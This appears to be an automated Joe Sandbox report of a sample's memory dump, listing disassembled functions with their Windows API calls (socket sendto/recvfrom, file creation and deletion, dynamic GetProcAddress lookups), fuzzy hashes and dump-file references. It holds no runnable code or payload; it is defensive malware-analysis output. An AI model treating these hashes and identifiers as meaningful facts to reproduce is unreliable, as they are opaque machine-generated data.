Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$ErrorLastrecvselect
String ID:
API String ID: 4192477963-0
Opcode ID: 482fb2e71dacf0d79e39be7dd062d1392c5e8429a29d262a767c3eb6c10b7da4
Instruction ID: 5a93ab435564b17480a76c78549e85f247dcf4770be6cbecebba5d0f955c338b
Opcode Fuzzy Hash: 482fb2e71dacf0d79e39be7dd062d1392c5e8429a29d262a767c3eb6c10b7da4
Instruction Fuzzy Hash: EE517A715487409FE334CF24C8A8AABBBF5BF89314F405D2DE98A83A50DB35E945CB52

Function 6251F4F0 Relevance: 9.1, APIs: 6, Instructions: 139networkCOMMON

Download Yara Rule

APIs

Part of subcall function 6251F700: GetLocalTime.KERNEL32(?,?,?), ref: 6251F70A
Part of subcall function 6251F700: SystemTimeToFileTime.KERNEL32(?,?), ref: 6251F71A
Part of subcall function 6251F700: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6251F731
Part of subcall function 6251F700: GetTickCount.KERNEL32 ref: 6251F743

_memset.LIBCMT ref: 6251F55D
sendto.WS2_32(?,?,0000002C,00000000,?,?), ref: 6251F59F
_memset.LIBCMT ref: 6251F5CB
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000064,00000000,?,?,?,?,?,00000000), ref: 6251F5DF
WSAEnumNetworkEvents.WS2_32(?,00000000,?), ref: 6251F5F8
recvfrom.WS2_32(?,?,00000100,00000000,?,?), ref: 6251F625

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Time$Events_memset$CountEnumFileLocalMultipleNetworkSystemTickUnothrow_t@std@@@Wait__ehfuncinfo$??2@recvfromsendto
String ID:
API String ID: 4174193342-0
Opcode ID: 4129e08f602cc8a005d5d8184cee0e777626a2e5b6c87f32da63bc331abbc14c
Instruction ID: 5fe987eff53f74837a09a289de04e8b95c4f5074e190eb729464b1c15b69746d
Opcode Fuzzy Hash: 4129e08f602cc8a005d5d8184cee0e777626a2e5b6c87f32da63bc331abbc14c
Instruction Fuzzy Hash: 6E51CE701087019FE320DF64C854B6BBBE5FF99718F108A1DE999872A0E7B5E844CB92

Function 6251B100 Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6251B11B

Part of subcall function 6254ED6C: __FF_MSGBANNER.LIBCMT ref: 6254ED8F
Part of subcall function 6254ED6C: __NMSG_WRITE.LIBCMT ref: 6254ED96
Part of subcall function 6254ED6C: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,62558DFF,?,00000001,?,?,62557CE7,00000018,62578F08,0000000C,62557D78), ref: 6254EDE3

_memset.LIBCMT ref: 6251B139
_malloc.LIBCMT ref: 6251B146

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _malloc$AllocHeap_memset
String ID:
API String ID: 189632878-0
Opcode ID: 9f7b34869cb221c73fb93db15196346aa0170f2e5f1d7cb804a243babeaa4157
Instruction ID: b11002fd9349f864069c6f8b99c71ae8d9b601cbd160f2429e794e8a8cca25e8
Opcode Fuzzy Hash: 9f7b34869cb221c73fb93db15196346aa0170f2e5f1d7cb804a243babeaa4157
Instruction Fuzzy Hash: FD3122706883059BE320DF24CC94B9B7BE4EB85728F04052DEC549B380D7BAED49CB92

Function 6252A6B0 Relevance: 9.0, APIs: 6, Instructions: 40timefileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00000000,00000000,00000000,?), ref: 6252A6C7
GetFileTime.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6252AA4F), ref: 6252A6DF
DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 6252A6EF
LocalFileTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6252AA4F), ref: 6252A6FF
FlushFileBuffers.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6252AA4F), ref: 6252A706
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6252AA4F), ref: 6252A70D

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: File$Time$BuffersCloseCreateDateFlushHandleLocal
String ID:
API String ID: 674073760-0
Opcode ID: 2ee1eca1806084939bc7a92db4f3f4bde1fdc39619485f60c4b398cbb094424c
Instruction ID: 47445a0c757857b8b837a890c6e88cd986878a3ee2588bed97153ba4f94c7205
Opcode Fuzzy Hash: 2ee1eca1806084939bc7a92db4f3f4bde1fdc39619485f60c4b398cbb094424c
Instruction Fuzzy Hash: 20F0C232184211BBDB219F68CC49FFB3BBCEBCA700F15490CF60592090D675E2058763

Function 62517852 Relevance: 7.6, APIs: 5, Instructions: 78sleepfileCOMMON

Download Yara Rule

APIs

Part of subcall function 62517430: _memset.LIBCMT ref: 62517469
Part of subcall function 62517430: _strncpy.LIBCMT ref: 62517486

Sleep.KERNEL32(000003E8), ref: 625178AA
DeleteFileA.KERNEL32(?), ref: 625178B8
GetLastError.KERNEL32 ref: 625178C7
_memset.LIBCMT ref: 625178ED
_memset.LIBCMT ref: 62517907

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$DeleteErrorFileLastSleep_strncpy
String ID:
API String ID: 1394207256-0
Opcode ID: e7eae4cb49488bac5a9b61b56956b69675a7405313e5f146c0b5867426eb1dd2
Instruction ID: fef1cb6b30bcbecd92ed771a0b4fb0c343bcdeff7085aa43fc1d511e5f4c889b
Opcode Fuzzy Hash: e7eae4cb49488bac5a9b61b56956b69675a7405313e5f146c0b5867426eb1dd2
Instruction Fuzzy Hash: 4A21B7B2A0C3515BE630DB74C869BAF77E99FC5308F44182DE68D87051EB749A08C793

Function 62550763 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 62550781

Part of subcall function 62557D5D: __mtinitlocknum.LIBCMT ref: 62557D73
Part of subcall function 62557D5D: __amsg_exit.LIBCMT ref: 62557D7F
Part of subcall function 62557D5D: EnterCriticalSection.KERNEL32(?,?,?,62561AC7,00000004,62579288,0000000C,62558E49,?,?,00000000,00000000,00000000,?,625577E5,00000001), ref: 62557D87

___sbh_find_block.LIBCMT ref: 6255078C
___sbh_free_block.LIBCMT ref: 6255079B
RtlFreeHeap.NTDLL(00000000,?,62578B60,0000000C,62557D3E,00000000,62578F08,0000000C,62557D78,?,?,?,62561AC7,00000004,62579288,0000000C), ref: 625507CB
GetLastError.KERNEL32(?,62561AC7,00000004,62579288,0000000C,62558E49,?,?,00000000,00000000,00000000,?,625577E5,00000001,00000214), ref: 625507DC

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: a8e5da8439f53ee0c55709cb35f0424b4b1a416a4687f868d951f9d2b1d95200
Instruction ID: e3e63b466a9766de5f9d5a9405c5fe41aff4b68a8662bf7704c97d225f722cce
Opcode Fuzzy Hash: a8e5da8439f53ee0c55709cb35f0424b4b1a416a4687f868d951f9d2b1d95200
Instruction Fuzzy Hash: E801AD31956311AAEF305FB0D838B5E3F64AF4672CF10550BE914BA0D0CB3889618E95

Function 62518B30 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

__wfopen_s.LIBCMT ref: 62518B52
OutputDebugStringA.KERNEL32(?,00000000,?,62519039,?), ref: 62518B7C
OutputDebugStringA.KERNEL32(6256E1DC), ref: 62518B83

Strings

C:\123.txt, xrefs: 62518B4C

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: DebugOutputString$__wfopen_s
String ID: C:\123.txt
API String ID: 4089825709-757984348
Opcode ID: c0753960376fb797316d2af031c6f8627a96f66ad71cf88731854d64be768071
Instruction ID: c0e10e22e6f94c2085819ee0aed09f46cfa1a7734b240c1723ab2afd647b9350
Opcode Fuzzy Hash: c0753960376fb797316d2af031c6f8627a96f66ad71cf88731854d64be768071
Instruction Fuzzy Hash: 63E0D8F282D115AAF63496A8DC28E6B77985B89744F044C1AB84592110D674D900D793

Function 62518B3E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

__wfopen_s.LIBCMT ref: 62518B52
OutputDebugStringA.KERNEL32(?,00000000,?,62519039,?), ref: 62518B7C
OutputDebugStringA.KERNEL32(6256E1DC), ref: 62518B83

Strings

C:\123.txt, xrefs: 62518B4C

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: DebugOutputString$__wfopen_s
String ID: C:\123.txt
API String ID: 4089825709-757984348
Opcode ID: e2dfe97dacc9a314312bdb4f2b764bc30d0094ae3c39ea0bf18cd21538922645
Instruction ID: f850b023d90b267d174383088d21c7bb393e445dd34247dea5e8da2c4fde9961
Opcode Fuzzy Hash: e2dfe97dacc9a314312bdb4f2b764bc30d0094ae3c39ea0bf18cd21538922645
Instruction Fuzzy Hash: 7CE020B2C18114A6E630D6B4DC24F7B77D89BC9754F045C1AB84492050DB78DC40D7C3

Function 6255098A Relevance: 6.1, APIs: 4, Instructions: 137COMMONLIBRARYCODE

Download Yara Rule

APIs

__flush.LIBCMT ref: 62550A4E
__fileno.LIBCMT ref: 62550A6E
__locking.LIBCMT ref: 62550A75
__flsbuf.LIBCMT ref: 62550AA0

Part of subcall function 62552DCA: __getptd_noexit.LIBCMT ref: 62552DCA

Part of subcall function 625524F4: __decode_pointer.LIBCMT ref: 625524FF

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: be266a28c1a82b72dca359b1001788120794cb598de9e9e0b15c04949eb3edde
Instruction ID: ce31f8bd902614f4f6f652fc322f0f4866ea4275020bd2910de6f9b808ca790f
Opcode Fuzzy Hash: be266a28c1a82b72dca359b1001788120794cb598de9e9e0b15c04949eb3edde
Instruction Fuzzy Hash: A6419231A00A059BDB24CFB9C8A469EBBB5EFD536CF24852BE464B7144E770DE61CB40

Function 6252A7F0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 215COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6252A848

Part of subcall function 6254ED6C: __FF_MSGBANNER.LIBCMT ref: 6254ED8F
Part of subcall function 6254ED6C: __NMSG_WRITE.LIBCMT ref: 6254ED96
Part of subcall function 6254ED6C: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,62558DFF,?,00000001,?,?,62557CE7,00000018,62578F08,0000000C,62557D78), ref: 6254EDE3

Strings

%1s, xrefs: 6252A918

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: AllocHeap_malloc
String ID: %1s
API String ID: 3293231637-3465968173
Opcode ID: 093b36e5ef39990bcbf94a833a69ee3ac380adb355df315cfc0cf4a1d24e7600
Instruction ID: 2b3026cc523a78243a69304b9597c98c1ffe9bcff2915d6cf0a9ebba3c4dc644
Opcode Fuzzy Hash: 093b36e5ef39990bcbf94a833a69ee3ac380adb355df315cfc0cf4a1d24e7600
Instruction Fuzzy Hash: 3171C2719493418BD730CB39C8A0B6BBBE5AFC9324F05492DE899572C1EB31D906CB93

Function 625442C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 625441C4: GetModuleHandleA.KERNEL32(KERNEL32,625442DE,?,?), ref: 625441D2
Part of subcall function 625441C4: GetProcAddress.KERNEL32(00000000,CreateActCtxW), ref: 625441F3
Part of subcall function 625441C4: GetProcAddress.KERNEL32(ReleaseActCtx), ref: 62544205
Part of subcall function 625441C4: GetProcAddress.KERNEL32(ActivateActCtx), ref: 62544217
Part of subcall function 625441C4: GetProcAddress.KERNEL32(DeactivateActCtx), ref: 62544229

GetModuleFileNameW.KERNEL32(?,?,00000105,?,?), ref: 625442F8
SetLastError.KERNEL32(0000006F), ref: 6254430F

Strings

, xrefs: 6254432D

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: AddressProc$Module$ErrorFileHandleLastName
String ID:
API String ID: 2524245154-3916222277
Opcode ID: 6cbd4cf47d42c64573f540de3ce0e6a166c5e81a4d69f119b486d8ae6a7619fa
Instruction ID: 4951e77b9a8db6ce2aa53c0297ad2ca9cbcc60fab89e3ca09fa30fad9c20a0d9
Opcode Fuzzy Hash: 6cbd4cf47d42c64573f540de3ce0e6a166c5e81a4d69f119b486d8ae6a7619fa
Instruction Fuzzy Hash: 97215E708D02289ADB30DF74D8587EEFBF8BF44328F50469AD469E6180DB749A85CF50

Function 62540A98 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 62540AC0
PathFindExtensionA.SHLWAPI(?), ref: 62540AD6

Part of subcall function 62540829: __EH_prolog3_GS.LIBCMT ref: 62540833
Part of subcall function 62540829: GetModuleHandleA.KERNEL32(kernel32.dll,0000015C,62540AFA,?,?), ref: 62540863
Part of subcall function 62540829: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 62540877
Part of subcall function 62540829: ConvertDefaultLocale.KERNEL32(?), ref: 625408B3
